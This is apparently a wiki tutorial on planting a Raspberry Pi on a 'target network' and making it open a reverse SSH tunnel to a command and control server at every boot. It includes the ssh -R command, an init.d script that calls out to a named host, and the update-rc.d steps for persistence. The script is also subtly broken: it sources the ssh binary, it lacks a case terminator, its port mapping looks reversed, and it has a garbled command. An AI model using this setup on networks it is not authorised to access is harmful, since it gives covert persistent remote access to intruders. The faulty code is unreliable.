RaspberryPi/Reverse SSH

This article covers how to get a reverse SSH shell to a Raspberry Pi.

Reverse SSH Shell

How to control the Pi once it is placed on a target network? SSH. But how?

Incoming SSH connections (from a command and control server to the Raspberry Pi) can be blocked by firewalls/security measures.

Reverse SSH is a good alternative: instead of the command and control server connecting to the Raspberry Pi, the Raspberry Pi initiates the connection to the command and control server. This is the same technique used by many backdoor programs.

SSH Command

The command and control server listens for the Pi. When the Pi is online, it calls the ssh command and connects to the remote command and control server.

Normally, when you SSH to a machine, you execute a command like:

$ ssh user@remoteserver

But if you use the -R flag, it enables a reverse connection to the listener.

$ ssh  -R  [bind_address:]port:host:hostport  username@remoteserver

Let's ignore bind_address for now.

The port indicates which port on your Raspberry Pi you want to use to get out of the network. Port 22 is the standard SSH port, but this may not be open on the network firewall that your Pi is on. Pick a port you know will be open and use that for port.

host indicates the destination for the tunnel. Once we SSH from the Raspberry Pi into the command and control server, our tunnel is entirely local. So we create a local tunnel from port to hostport. And our host is localhost.

Finally, the username@remoteserver enables us to create an SSH connection to the remote server in the first place.

Reverse SSH on Startup

You can run this command on startup, so that on boot, the Pi will attempt to connect to a remote server if it is available.

First, we'll create a startup service that initiates a reverse SSH connection.

Then, we'll give it a whirl.

Add Reverse SSH Startup Service

The following instructions will walk through how to create a reverse SSH startup service on the Raspberry Pi, so that the Pi will automatically seek out and create a reverse SSH connection on boot, if the remote server can be found.

This is done by editing the Linux partition of the SD card (not the 64 MB boot partition - the ~3 GB Linux partition!) and changing some files in the init.d sequence.

Mount SD Card

First, insert the Raspberry Pi SD card into your laptop and mount the volume.

Create Reverse SSH Service

Now you'll create a reverse SSH service in /sdcard/etc/init.d/. I called mine reverse-ssh.

#!/bin/sh

### BEGIN INIT INFO
# Provides: new-reverse-ssh
# Required-Start: 
# Required-Stop: 
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start reverse ssh at boot time
# Description: Start reverse ssh at boot time. 
### END INIT INFO 

set -e

PARAM=/usr/bin/ssh
if [ -f $PARAM ]; then
    . "$PARAM"
fi

case "${1:-}" in
  stop|reload|restart|force-reload)
        echo "Too bad."

  start)
        echo "Opening reverse shell."
        /usr/bin/ssh -R 22:localhost:2222 charles@10.0.0.19;;

  *)
        echo "Usage: ${0:-} {start|stop|status|restart|reload|force-reload}" >&2
        exit 1
        ;;
esac

Note that we could also SSH to the Pi and do this live. It's up to you.

Update Raspberry Pi RC

Now it is time to add our startup service to the Pi's onboard RC initialization engine. Good information here: https://www.debian-administration.org/article/28/Making_scripts_run_at_boot_time_with_Debian

Plug Pi back into the router and start it up. SSH to it.

Now update the rc service, to add our new init.d script to the appropriate runtime levels.

$ chmod 755 /etc/init.d/reverse-ssh
$ update-rupdate-rc.d reverse-ssh defaults
update-rc.d: using dependency based boot sequencing